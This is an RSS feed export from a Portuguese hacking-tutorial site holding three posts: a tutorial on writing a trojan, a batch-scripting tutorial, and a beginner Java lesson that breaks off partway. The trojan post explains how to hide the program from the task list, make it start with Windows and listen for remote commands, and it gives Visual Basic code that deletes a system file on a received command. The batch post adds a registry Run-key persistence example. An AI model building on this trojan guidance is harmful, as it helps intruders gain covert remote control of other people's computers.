<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>invasao.com.br - Seu primeiro site hacker (trojan, keylogger, vírus, hacker, programas, exploit). Conheça o Curso de Tecnologias Anti-Hackers. &#187; Programação</title>
	<atom:link href="http://www.invasao.com.br/category/programacao/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.invasao.com.br</link>
	<description>Material sobre técnicas de hacking, defaces, vírus e invasões (trojan, keylogger, vírus, hacker, programas, exploit). Conheça o Curso de Tecnologias Anti-Hackers.</description>
	<lastBuildDate>Tue, 31 Jan 2012 20:23:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Criando um Trojan</title>
		<link>http://www.invasao.com.br/2011/01/12/criando-um-trojan/</link>
		<comments>http://www.invasao.com.br/2011/01/12/criando-um-trojan/#comments</comments>
		<pubDate>Wed, 12 Jan 2011 13:41:38 +0000</pubDate>
		<dc:creator>Alberto</dc:creator>
				<category><![CDATA[Programação]]></category>
		<category><![CDATA[trojan]]></category>

		<guid isPermaLink="false">http://www.invasao.com.br/?p=4446</guid>
		<description><![CDATA[Tópicos 00. O quê é um trojan? 01. O quê é preciso para criar um trojan? 02. Qual linguagem de programação utilizaremos? 03. Começando a programar 04. Exemplo básico de um trojan em Visual Basic 05. Palavras finais 00. O quê é um trojan? Trojan é uma abreviatura de Trojan Horse (Cavalo de Tróia). Tem esse nome pela semelhança com o cavalo de madeira usado pelos troianos pra invadir a base de seus inimigos. Vendo pelo lado da informática, é [...]]]></description>
			<content:encoded><![CDATA[<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2011/01/12/criando-um-trojan/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div><p>Tópicos</p>
<p>00. O quê é um trojan?</p>
<p>01. O quê é preciso para criar um trojan?</p>
<p>02. Qual linguagem de programação utilizaremos?</p>
<p>03. Começando a programar</p>
<p>04. Exemplo básico de um trojan em Visual Basic</p>
<p>05. Palavras finais</p>
<p>00. O quê é um trojan?</p>
<p>Trojan é uma abreviatura de Trojan Horse (Cavalo de Tróia).</p>
<p>Tem esse nome pela semelhança com o cavalo de madeira usado</p>
<p>pelos troianos pra invadir a base de seus inimigos.</p>
<p>Vendo pelo lado da informática, é um programa que ouve em</p>
<p>uma porta do seu sistema e aguarda comandos de um cliente.</p>
<p>01. O quê é preciso para criar um trojan?</p>
<p>Um conhecimento bom em programação em qualquer linguagem.</p>
<p>Aconselho o uso de Delphi e Visual Basic p/ escrita de trojans</p>
<p>p/ Windows e C, Assembly ou LKM p/ escrita de trojans p/ Linux.</p>
<p>02. Qual linguagem de programação utilizaremos?</p>
<p>Visual Basic 5.0.</p>
<p>03. Começando a programar</p>
<p>Pra começar a programar você precisa saber umas coisas básicas.</p>
<p>Aqui vão elas:</p>
<p>* Conhecer bem uma linguagem de programação, aqui, no caso do</p>
<p>tutorial a utilizada é o Visual Basic 5.0 da Micro$oft.</p>
<p>* O trojan deve ficar oculto na lista de tarefas do Windows</p>
<p>(ctrl alt del)</p>
<p>* O trojan deve ouvir em uma porta TCP ou UDP e aguardar comandos.</p>
<p>* O trojan deve interpretar os comandos recebidos pelo cliente</p>
<p>e os executar na máquina infectada(servidor).</p>
<p>* O trojan deve se auto iniciar junto com o Windows, para isso você</p>
<p>pode usar uma chave no registro do Windows, autoexec.bat, win.ini</p>
<p>ou qualquer outro meio desde que o servidor se inicie com o Windows.</p>
<p>04. Exemplo básico de um trojan em Visual Basic</p>
<p>Crie um projeto no Visual Basic e adicione a Winsock no formulário</p>
<p>(Ctrl + T e marque a Microsoft Winsock Control 5.0)</p>
<p>Dê dois cliques no ícone da winsock na toolbox p/ adiciona-la</p>
<p>ao nosso formulário.</p>
<p>Dê dois cliques no formulário p/ entrarmos na Code Window</p>
<p>Pronto&#8230; estamos na Code Window. É aqui que faremos o nosso trojan.</p>
<p>Escreva isso:</p>
<p>Private Sub Form_Load()</p>
<p>Winsock1.LocalPort = &#8220;12345&#8243;</p>
<p>Winsock1.Listen</p>
<p>End Sub</p>
<p>Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)</p>
<p>Winsock1.Close</p>
<p>Winsock1.Accept requestID</p>
<p>End Sub</p>
<p>Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)</p>
<p>Dim recebido As String</p>
<p>Winsock1.GetData recebido</p>
<p>If recebido = &#8220;deletar_autoexec&#8221; Then</p>
<p>Kill &#8220;C:\Autoexec.bat&#8221;</p>
<p>End If</p>
<p>End Sub</p>
<p>Explicando o código:</p>
<p>Winsock1.LocalPort = &#8220;12345&#8243;</p>
<p>* Configura a Winsock p/ ficar na porta 12345</p>
<p>Winsock1.Listen</p>
<p>* Coloca a Winsock em estado de espera(ouvindo) na porta 12345</p>
<p>Dim recebido As String</p>
<p>* Declara a variável &#8220;recebido&#8221; como String</p>
<p>Winsock1.GetData recebido</p>
<p>* Informa a Winsock que a variável &#8220;recebido&#8221; irá guardar</p>
<p>* todas as strings recebidas(enviadas pelo cliente)</p>
<p>If recebido = &#8220;deletar_autoexec&#8221; Then</p>
<p>Kill &#8220;C:\Autoexec.bat&#8221;</p>
<p>End If</p>
<p>* Esse código diz que se a variável &#8220;recebido&#8221; receber a string</p>
<p>&#8220;deletar_autoexec&#8221; o arquivo C:\Autoexec.bat será deletado.</p>
<p>O básico(muito básico mesmo!!!) de um trojan é isso&#8230;</p>
<p>05. Palavras finais</p>
<p>Bem&#8230; chegamos ao fim desse tutorial&#8230;</p>
<p>Pra programar um trojan é preciso muito mais que isso mais o</p>
<p>ponta pé inicial foi dado&#8230;</p>
<p>( material para fins educacionais, não nos responsabilizamos pelo uso indevido do mesmo)</p>
<p>Fonte: <a href="http://femedina.tripod.com/textos/trojan.txt" target="_blank">femedina.tripod.com</a></p>
<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2011/01/12/criando-um-trojan/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div>]]></content:encoded>
			<wfw:commentRss>http://www.invasao.com.br/2011/01/12/criando-um-trojan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aprenda a programar em .bat</title>
		<link>http://www.invasao.com.br/2011/01/12/aprenda-a-programar-em-bat/</link>
		<comments>http://www.invasao.com.br/2011/01/12/aprenda-a-programar-em-bat/#comments</comments>
		<pubDate>Wed, 12 Jan 2011 13:11:35 +0000</pubDate>
		<dc:creator>Alberto</dc:creator>
				<category><![CDATA[Programação]]></category>
		<category><![CDATA[.bat]]></category>

		<guid isPermaLink="false">http://www.invasao.com.br/?p=4442</guid>
		<description><![CDATA[Introdução Antes de tudo, indicar o porquê os processos são chamados batch. A razão por ele se chamar bat é porque no ms-dos requere-se como máximo três letras na extensão e por tanto os arquivos tem a extensão .bat O que se pode fazer com eles? Pode fazer de forma automatizada tudo aquilo que se pode fazer no console do ms-dos. Como faça um arquivo bat? Coloque em texto. Apenas decidir onde colocar, pode colocá-lo no bloco de notas ou [...]]]></description>
			<content:encoded><![CDATA[<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2011/01/12/aprenda-a-programar-em-bat/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div><p>Introdução</p>
<p>Antes de tudo, indicar o porquê os processos são chamados batch. A razão por ele se chamar bat é porque no ms-dos requere-se como máximo três letras na extensão e por tanto os arquivos tem a extensão .bat</p>
<p>O que se pode fazer com eles?</p>
<p>Pode fazer de forma automatizada tudo aquilo que se pode fazer no console do ms-dos.</p>
<p>Como faça um arquivo bat?</p>
<p>Coloque em texto. Apenas decidir onde colocar, pode colocá-lo no bloco de notas ou algum editor ascii.</p>
<p>Ao guardá-los devem ter a notação de nomes próprios do ms-dos. Este nome com no máximo 8 letras (espaço e \ não são permitidos) logo um ponto e a extensão que neste caso é obrigatoriamente bat.</p>
<p>Como posso selecionar vários arquivos;</p>
<p>Para ele tem que se levar em conta os nomes dos arquivos, devem cumprir a notação do ms-dos (8 letras sem espaço como máximo, logo um ponto e três letras como máximo da extensão. Pode se utilizar os comandos;</p>
<p>*Equivale a vários caracteres.<br />
?Equivale a apenas um caracter.</p>
<p>Exemplos</p>
<p>comando *.doc -&gt; selecionar todos os arquivos que tenham a extensão doc.<br />
comando a*.doc -&gt; selecionar todos os arquivos que comecem por a e tenha a extensão doc.<br />
comando a*b.doc -&gt; selecionar todos os arquivos que comecem por a, acabem por b e tenham a extensão doc.<br />
comando *mao*.doc -&gt; selecionar todos os arquivos que contenham ‘mao’ e tenham a extensão doc.<br />
comando c?mao.doc -&gt; selecionar todos os arquivos que contenham ‘c’, logo um carater qualquer e logo ‘mao’. Deve ter tambem a extensão doc.<br />
comando c?b*.* -&gt; selecionar todos os arquivos que comecem por ‘c’, tenham um caracter qualquer, logo um b e qualquer extensão.<br />
comando *.b?t -&gt; selecionar todos os arquivos que tenham a extensão que comece por b, logo um caracter qualquer e logo um t.<br />
Quem são as trajetórias e os patchs;</p>
<p>A trajetória é o nome completo de um arquivo e indica a situação exata de um arquivo e seu nome.</p>
<p>Se digo que o arquivo se chama arquivo.txt indico seu nome, mas nada mais. Se supoe que se encontra no diretório atual.</p>
<p>Se digo c:\arquivo.txt indico que o arquivo que me interesse se chama arquivo.txt e se encontra no diretório ráiz de C.</p>
<p>Dado que no ms-dos nao se admite nomes grandes ( mais de 8 letras ) nem espaço, quando quero utilizar o nome do windows em ms-dos devo saber que este será reconvertido em seu nome curto. Este se obtem os seis primeiros carácteres válidos do nome, logo o sinal ~ (alt 126) e logo um número.</p>
<p>Que comandos podemos utilizar;</p>
<p>Comandos;</p>
<p>Aqui estão alguns comandos utilizados em batch.</p>
<p>ECHO [mensagem ou variável]</p>
<p>Escreve na tela</p>
<p>ECHO OFF</p>
<p>Desativa as informações e confirmações feitas pelo sistema. Como “C:&gt;”, “Tem certeza que deseja fazer tal?”….</p>
<p>ECHO ON</p>
<p>Ativa as informações e confirmações do sistema.</p>
<p>ECHO.</p>
<p>Pula uma linha</p>
<p>SET variavel=valor</p>
<p>Cria ou modifica uma variável (espaço reservado temporariamente na memória RAM para guardar algumas informações númericas, de caractéres, positivo/negativo entre outros. Não podem ter acento e devem começar com letra). Para chamar a variável posteriormente basta coloca-la entre “%”.</p>
<p>Por exemplo:</p>
<p>SET nome=Storm<br />
ECHO O nome dele é %nome%</p>
<p>:nomedolink</p>
<p>Nomeia um ponto do arquivo de lote permitindo avançar ou voltar a execução apartir daquele ponto.<br />
CLS<br />
Esse comando limpa toda a tela. CLear Screen.</p>
<p>@[Comando]</p>
<p>Desativa as informações e confirmações feitas pelo sistema apenas para esta linha.</p>
<p>CODE<br />
IF [condição] (<br />
[ação]<br />
) ELSE (<br />
[ação2]<br />
)</p>
<p>Esse é um comando condicional. “Se condição faça ação, senão faça ação2″.</p>
<p>Por exemplo:</p>
<p>CODE<br />
@ECHO OFF<br />
SET nome=Storm<br />
IF “%nome%”==”Storm” (<br />
ECHO Ola Storm!<br />
) ELSE (<br />
ECHO Ola %nome%!</p>
<p>)<br />
GOTO [ponto]</p>
<p>Avança ou volta a execução para um ponto do arquivo de lote.</p>
<p>FOR /L %%variavel IN (inicio,incremento,fim) DO comando [parâmetro]</p>
<p>Repete um comando varias vezes fazendo incrementações até o fim ser atingido.</p>
<p>/L, é uma opção do comando FOR que faz as incrementações.<br />
%%variavel, é o nome da variável que vai ser incrementada.<br />
inicio, é o valor de inicio da variável que será incrementada.<br />
incremento, número que será somado a cada incrementação.<br />
fim, a repetição irá acabar quando o valor da variável atingir este valor.<br />
comando, um comando que será repetido.<br />
[parâmetro], o parâmetro do comando que será repetido.</p>
<p>Por exemplo:</p>
<p>CODE<br />
@ECHO OFF<br />
FOR /L %%a IN (1,1,5) DO ECHO O valor de A é %%a</p>
<p>PAUSE</p>
<p>Faz uma pausa e só volta quando o usuário apertar alguma tecla do teclado.<br />
REM [comentário]</p>
<p>Este comando não faz absolutamente nada. Ele é utilizado para inserir comentarios nos arquivos.</p>
<p>CODE<br />
PROMPT -&gt;Serve para abrir o prompt do msdos. O mais habitual é $p$g que corresponde a;</p>
<p>$p = mostrar trajeto atual<br />
$g = mostrar o separador &gt;<br />
$l = mostrar o separador &lt;<br />
$b = mostrar o separador |<br />
$q = mostrar o separador =<br />
$$ = mostrar o sinal $<br />
$t = mostrar a hora<br />
$d = mostrar a data<br />
$v = mostrar a versão do sistema<br />
$n = mostrar unidade atual<br />
$h = retroceso. Apaga o caracter previo<br />
$e = esc. Mostra o sinal corresponde a asci 27</p>
<p>Por isso se colocarmos prompt $p$g o cursor mostra a tragetória de onde estamos e logo o separador. É possível o texto ( por exemplo prompt Meu_nome $p$g</p>
<p>DATE<br />
Ver/por a data do sistema</p>
<p>TIME<br />
Ver/por a hora do sistema</p>
<p>VER[/font]<br />
Versão do sistema<br />
[font=Verdana]VOL unidade<br />
Volume da unidade especificada</p>
<p>MEM parametros<br />
Mostra a memoria usada e livre no sistema<br />
/p -&gt; mostra por programas<br />
/d -&gt; por programas econtroladores<br />
/c -&gt; classifica por tamanho</p>
<p>Comandos de manejos de arquivos</p>
<p>COPY origem destino<br />
Serve para copiar arquivos de um lugar a outro. A origem deve ser um trajeto completo de onde estão os arquivos a copiar. Se se omite se entende no diretório atual.</p>
<p>O destino deve ser uma trajetória completa de onde desejar o/os arquivo(s)<br />
copy meuarquivo.txt c:\ (copiá-lo do diretorio raíz de C)<br />
copy meuarquivo.txt c:\meuarq.txt (copiá-lo e poder mudar o nome a meuarq.txt)<br />
copy *.txt a:\ (copiar todos os arquivos que tenham a extensão txt a unidade A)<br />
copy *.txt c:\meusdo~1 (copiar todos os que tenham a extensão txt ao diretório Meus documentos ( cujo o nome curto é meusdoc~1).</p>
<p>DEL arquivo(s)</p>
<p>Apagar arquivos selecionados</p>
<p>del lol.txt (apaga o arquivo lol.txt no diretório atual)<br />
del c:\lol.txt (apaga o arquivo lol.txt que se encontra no c:\)<br />
del arquiv~1\*.*(apaga os arquivos que se encontram no diretório ‘Arquivos de programa’ cujo nome curto é arquiv~1( não se apaga as subpastas)</p>
<p>DELTREE arquivo(s) -y</p>
<p>Apaga a raíz especificada ( se é um arquivo coloca o arquivo, se é uma pasta coloca a pasta com todas as subpastas que incluam).<br />
Com o parametro -y não pergunta cada vez<br />
Este comando na realidade não é um comando sim uma utilidade incluída no ms-dos.</p>
<p>DIR trajeto</p>
<p>Mostra uma lista do conteúdo do diretório especificado no trajeto. Se não especificado nada, se entende o atual.<br />
Se coloca como parametro /W mostra uma lista resumida<br />
Se coloca como parametro /P mostra uma lista utilizando o filtro more.</p>
<p>ATTRIB arquivo(s)-&gt; Mostra os arquivos dos diretórios indicados e nesse caso permite mudá-los.</p>
<p>os atributos são:</p>
<p>H -&gt; oculto. Se ativa com +h e desativa com -h<br />
R -&gt; Leitura. Apenas leitura com +r, normal com -r<br />
S -&gt; Sistema. Se ativa com +s e desativa com -s<br />
A -&gt; Modificado. Para copias de segurança incrementadas. +a indica modificado e -a indica não modificado.<br />
Attrib arquivostorm.txt (mostrar os atributos do arquivostorm.txt)<br />
attrib *.exe +r +r +s (coloca todos os arquivos com extensão exe como ocultos, do sistema e a apenas lê)</p>
<p>RENAME o REN nome1 nome2<br />
Mudar o nome do arquivo<br />
Ren nome1.txt nome2.txt</p>
<p>TYPE arquiivo<br />
Mostra por pasta o conteúdo do arquivo;<br />
type nomedoarquivo.txt</p>
<p>* Todos aqui listados são comandos de MS-DOS que foram criados especificamente para arquivos de lote. Se você precisar de mais detalhes sobre cada um deles basta digitar no MS-DOS (ou no prompt de comando do Windows) [comando]/? Todos comandos de MS-DOS também entram nesta lista incluindo chamadas de outros programas para este sistema.</p>
<p>Comandos para programação</p>
<p>EDIT arquivo</p>
<p>Editor de textos utilizado para editar scripts e arquivos de texto.</p>
<p>DEBUG arquivo parametros de arquivo<br />
Inicia o desassembler com o programa indicado que se colocam por parametros.</p>
<p>CHOICE texto opções</p>
<p>Se utiliza em programas bat para dar elegir a um usuario entre um conjunto de opções<br />
A resposta se devolve mediante a variável errorlevel<br />
choice Eleja uma opçao snc</p>
<p>CODE<br />
if errorlevel 1 goto …<br />
if errorlevel 2 goto …<br />
if errorlevel 3 goto …</p>
<p>Este exemplo mostra a lateral “eleja uma opção e da a elejer s (sim), n (não) o C (continuar) por exemplo as tres seguintes linhas especificam aonde deve sair o fluxo do programa seguido da tecla pulsada.</p>
<p>Variáveis</p>
<p>A condição DEFINED verifica se uma variável já foi definida. Por exemplo, se a variável “x” estiver definida, então o resultado será positivo, senão negativo.<br />
Veja como ficaria:</p>
<p>CODE<br />
@ECHO OFF<br />
IF DEFINED x ( ECHO Positivo ) ELSE ( ECHO Negativo )</p>
<p>Arquivos</p>
<p>A condição EXIST verifica se existe algum arquivo. Por exemplo, se existir o arquivo “exemplo.bat” o resultado será positivo, senão negativo.<br />
Veja como ficaria:</p>
<p>CODE<br />
@ECHO OFF<br />
IF EXIST exemplo.bat ( ECHO Positivo ) ELSE ( ECHO Negativo )</p>
<p>Esta condição não para por aí. No sistema MS-DOS, você pode fazer uma “pesquisa” na pasta em que está por um arquivo digitando parte dele. Você usa “*” para indicar a(s) parte(s) que você não sabe. Por exemplo, se existir algum arquivo com a extensão “.bat” na pasta atual o resultado será positivo, senão negativo.<br />
Veja como ficaria:</p>
<p>CODE<br />
@ECHO OFF<br />
IF EXIST *.bat (ECHO Positivo ) ELSE ( ECHO Negativo )</p>
<p>X é igual a 6?</p>
<p>@ECHO OFF<br />
CLS<br />
SET X=6<br />
IF “%X%” == “6″ GOTO ok<br />
ECHO X não é igual a 6, X é igua a %X%<br />
GOTO saida<br />
:o k<br />
ECHO X é igual a 6<br />
:saida</p>
<p>Na primeira linha. O “@” indica que não é para aparecer o comando que segue, no caso, “ECHO” (Comando que escreve na janela). Nesta linha, eu estou grosseiramente mandando o MS-DOS calar a boca (não falar nada sem eu mandar), pois se ECHO faz o computador “falar”, ECHO OFF faz o computador “desligar a boca” e com o @ no começo da linha, ele nem vai informar ao usuário que está parando de falar.<br />
Na segunda linha, o comando CLS faz o MS-DOS apagar toda a tela.<br />
Na terceira linha, como já foi explicado, faz a variável X=6.<br />
Na quarta linha, é uma linha condicional. Se “X” for igual à 6 vá para “ok”.<br />
Na quinta linha, é óbivio que X não vai ser igual a 6, então o MS-DOS vai “falar” X não é igual a 6, X é igua a [valor de x].<br />
Na sexta linha, ele irá para o ponto “saida” porque o resto é feito se X for igual a 6.<br />
Na sétima linha, está sendo definido o ponto “ok”, aquele ponto citado na quarta linha.<br />
Na oitava linha, X será igua a 6, então o MS-DOS vai dizer X é igual a 6.<br />
E na nona linha, é definido o ponto-final do processamento. Que é chamado na sexta linha, nada mais que isso, então o MS-DOS entende que o batch concluiu.</p>
<p>Faça o teste</p>
<p>1. Abra o Bloco de notas do Windows;<br />
2. Copie o exemplo acima e cole nele<br />
3. Salva-o como exemplo2.bat;<br />
4. Dê dois-clicks nele observe o que acontecerá;<br />
5. Agora experimente modificar a segunda linha por SET idade=n (troque n por algum número);<br />
6. Execute e veja o que acontece.</p>
<p>Programando;</p>
<p>Existe uma infinidade de comandos, como mostrei acima, e só usar a imaginação e podemos programar uma imensidão de finalidades, basta usar a criatividade e alguns comandos, para fechar esse tutorial, vou abordar alguns códigos feito por mim.</p>
<p>Exemplo 1 (Básico)</p>
<p>-fazer um loop que pegue todos os nomes dos diretorios<br />
-dentro de cada diretorio, renomear todos os arquivos com a extensão .txt para .zip</p>
<p>CODE<br />
@echo off<br />
rem *.txt *.zip<br />
@exit</p>
<p>Exemplo 2 (Intermediário/Avançado)</p>
<p>CODE</p>
<p>@echo off</p>
<p>cls</p>
<p>Echo Batch feito por Storm<br />
Echo .<br />
Echo .<br />
Echo Começar o programa?<br />
pause<br />
Echo .<br />
Echo .<br />
Echo .<br />
Echo Este programa cria uma chave de inicializaçao de um arquivo no windows através do menu.<br />
Echo .<br />
Echo .<br />
Echo [1] Deseja que esse arquivo se inicie no seu proximo logon?<br />
Echo [2] Deseja sair do programa?</p>
<p>Set /p choice=Digite o numero correspodente a sua opçao:</p>
<p>if “%choice%”==”2″ goto op2<br />
if “%choice%”==”1″ goto op1</p>
<p>rem Bloco de declaraçao dos gotos</p>
<p>p1 reg add “hklm\Software\Microsoft\Windows\CurrentVersion\Run” /v teste2 /t REG_SZ /d c:\path\batstorm.bat&amp;goto proximo</p>
<p>p2 exit</p>
<p>:proximo<br />
Echo .<br />
Echo .<br />
Echo Chave criada com sucesso.<br />
Echo .<br />
Echo .<br />
Echo Agora mostrarei a chamada de um outro arquivo bat sem a interrupção do arquivo.</p>
<p>Echo [1] Deseja chamar o arquivo batstorm.bat?<br />
Echo [2] Deseja sair do programa?</p>
<p>Set /p choice=Digite o numero correspondente a sua opçao:</p>
<p>if “%choice%”==”2″ goto op3<br />
if “%choice%”==”1″ goto op4</p>
<p>p3 call batstorm.bat&amp;goto proximo2</p>
<p>p4 exit</p>
<p>Fonte: <a href="http://desvendandonovoshackers.wordpress.com/aprenda-a-programar-em-bat/" target="_blank">desvendandonovoshackers.wordpress.com</a></p>
<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2011/01/12/aprenda-a-programar-em-bat/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div>]]></content:encoded>
			<wfw:commentRss>http://www.invasao.com.br/2011/01/12/aprenda-a-programar-em-bat/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Criando seu primeiro programa em Java</title>
		<link>http://www.invasao.com.br/2011/01/11/criando-seu-primeiro-programa-em-java/</link>
		<comments>http://www.invasao.com.br/2011/01/11/criando-seu-primeiro-programa-em-java/#comments</comments>
		<pubDate>Tue, 11 Jan 2011 15:00:30 +0000</pubDate>
		<dc:creator>Alberto</dc:creator>
				<category><![CDATA[Programação]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Programa]]></category>

		<guid isPermaLink="false">http://www.invasao.com.br/?p=4406</guid>
		<description><![CDATA[Objetivos: Escrever seu primeiro programa Java e conhecer conceitos básicos para montar programas em Java que exibam mensagens. Pré-requisitos: Para acompanhar esta lição você deve ter instalado o Java, saber utilizar o notepad e saber utilizar o Prompt de Comando do Windows XP ou semelhante. Criando seu primeiro programa em Java Comentários Aprenda a comentar! Apesar de não executar nenhuma ação os comentários de um programa são muito importantes. Através dos comentários você faz como que seu programa seja mais [...]]]></description>
			<content:encoded><![CDATA[<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2011/01/11/criando-seu-primeiro-programa-em-java/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div><div id="_mcePaste"><strong>Objetivos:</strong></div>
<div>Escrever seu primeiro programa Java e conhecer conceitos básicos para montar programas em Java que exibam mensagens.</div>
<div id="_mcePaste">Pré-requisitos:</div>
<div>Para acompanhar esta lição você deve ter instalado o Java, saber utilizar o notepad e saber utilizar o Prompt de Comando do Windows XP ou semelhante.</div>
<div></div>
<div><strong>Criando seu primeiro programa em Java</strong></div>
<div></div>
<div><strong>Comentários</strong></div>
<div><strong>Aprenda a comentar!</strong></div>
<div id="_mcePaste">Apesar de não executar nenhuma ação os comentários de um programa são muito importantes. Através dos comentários você faz como que seu programa seja mais claro e compreensível aos outros e a vocês mesmo daqui a algum tempo. Pode acreditar.</div>
<div id="_mcePaste">Você vai se sentir bem melhor quando encontrar seus próprios programas comentários.</div>
<div id="_mcePaste">No Java são permitidos três tipos de comentários:</div>
<div>» Comentário de linha</div>
<div id="_mcePaste">» Comentário de múltiplas linhas</div>
<div id="_mcePaste">» Comentário de documentação</div>
<div></div>
<div><strong>Comentário de linha</strong></div>
<div id="_mcePaste">Os comentários de linha permitem ao programador descrever o que ocorre em uma determinada linha. O Java ignora tudo o que se encontra depois do símbolo // até o final da linha. Vejamos alguns exemplos:</div>
<div id="_mcePaste">As frases “Imprime a frase “Olá !””, “Fim do método main” e “Fim da declaração de classe Comentarios’” são comentários de linha. O Java sabe que deve ignorar estas frases pois antes dela encontrou os símbolos “//”.</div>
<div></div>
<div><strong>Comentários de múltipla linha</strong></div>
<div id="_mcePaste">Os comentários de múltipla linha permitem que tudo o que se encontra entre o início e o fim dos limites do comentário sejam ignorados pelo Java.</div>
<div>No exemplo acima tudo o que estiver entre os caracteres “/*” e “*/” será ignorado pelo Java e tem como finalidade comentar a aplicação.</div>
<div></div>
<div><strong>Comentário de documentação.</strong></div>
<div id="_mcePaste">O comentário de documentação é semelhante ao comentário de múltiplas linhas.</div>
<div id="_mcePaste">Ele difere nos delimitadores utilizados e na sua função. São utilizados como delimitadores os símbolos “/**” – delimitador inicial &#8211; e “*/” – delimitador final. O objetivo do comentário de documentação é ser utilizado pelo programa javadoc para gerar uma documentação para o programa. Mais tarde entraremos em detalhes sobre como usar o javadoc para gerar documentação.</div>
<div id="_mcePaste">Definindo uma classe</div>
<div>Todo programa Java deve ter pelo menos uma definição de classe. Uma definição de classe consiste em uma palavra reservada public, seguida da palavra reservada class, seguida do nome da classe que por convenção deve começar com letras maiúsculas. O nome da classe é um identificador. Um identificador pode conter letras, dígitos, sublinhados e o símbolo de cifrão. Um identificador não pode começar com um digito. Um identificador não deve começar com um cifrão.</div>
<div>Veja abaixo um exemplo de uma definição de classe:</div>
<div id="_mcePaste">Perceba que além das regras citadas acima a definição de classe contém um par de chaves. O que estiver contido dentro deste par de chaves é o que chamados de corpo de definição da classe.</div>
<div>No corpo de definição da classe estarão os métodos (ações) necessários para o funcionamento das classes, assim como, os demais itens necessários para “dar vida” à classe.</div>
<div id="_mcePaste">“Dando vida” a uma classe</div>
<div id="_mcePaste">___________________</div>
<div id="_mcePaste">1) Palavra reservada – Uma palavra reservada é uma palavra que o Java utiliza</div>
<div id="_mcePaste">internamente. As palavras reservadas não devem ser utilizadas como nome de</div>
<div id="_mcePaste">classes ou nome de variáveis. Estudaremos sobre variáveis mais a frente.</div>
<div>2) Um identificador não deve começar pelo uso de cifrão porque o Java costuma</div>
<div id="_mcePaste">utilizar identificadores iniciados por cifrões internamente. Quando for dar nome a</div>
<div id="_mcePaste">uma classe procure sempre começar  com letras maiúsculas.</div>
<div id="_mcePaste">Para que uma classe execute determinada tarefa a classe deve ter ao menos uma definição de método (definição de ação).</div>
<div></div>
<div><strong>Veja um exemplo de definição de método:</strong></div>
<div>Por enquanto não entraremos em detalhes sobre o que significa cada parte da definição do método. O importante é você saber que toda classe daqui pra frente terá na definição do seu corpo a definição de um método main.</div>
<div id="_mcePaste"></div>
<div><strong>Exibindo uma mensagem</strong></div>
<div>Para exibir uma mensagem no Java utilizaremos à instrução “println”. Esta instrução permite imprimir a mensagem desejada e ainda posiciona o cursor no início da próxima linha da tela.</div>
<div>Vamos ver o exemplo de uma instrução que exibe a mensagem “Bem-vindo a programação Java!”.</div>
<div id="_mcePaste">System.out.println(“Bem-vindo a programação Java!”);</div>
<div></div>
<div><strong>Outra forma de imprimir mensagens</strong></div>
<div>Você também pode imprimir a mesma mensagem da seguinte forma:</div>
<div id="_mcePaste">System.out.print(“Bem-vindo a programação Java!”);</div>
<div>A diferença é que o cursor não será posicionado no início da linha seguinte e sim imediatamente após o ponto de interrogação.</div>
<div></div>
<div><strong>Juntando tudo</strong></div>
<div>Juntando todos os tópicos deste capítulo teremos o nosso primeiro programa em Java. Este programa permite a impressão de uma mensagem de boas vindas na tela do computador.</div>
<div></div>
<div><strong>Atenção:</strong></div>
<div id="_mcePaste"><strong>» O Java diferencia letras maiúsculas e letras minúsculas. Tenha cuidado para digitar o texto exatamente como esta acima.</strong></div>
<div id="_mcePaste"><strong>» Ao terminar de digitar o texto salve-o com o mesmo nome da classe e com a extensão Java. O texto acima deve ser salvo em um arquivo chamado “BemVindo.java”.</strong></div>
<div><strong>Entendendo o que cada linha faz</strong></div>
<div id="_mcePaste">/*</div>
<div id="_mcePaste">“Avisa” ao Java que irá iniciar um comentário de várias linhas. Tudo o que estiver escrito deste ponto até encontrar o conjunto de caracteres “*/” deverá ser ignorado pelo Java.</div>
<div id="_mcePaste">BemVindo – Imprime uma mensagem de boas vindas</div>
<div>Comentário – Indicando o nome da classe e seu objetivo</div>
<div>11/01/2011 – Almir Rivas – Criação</div>
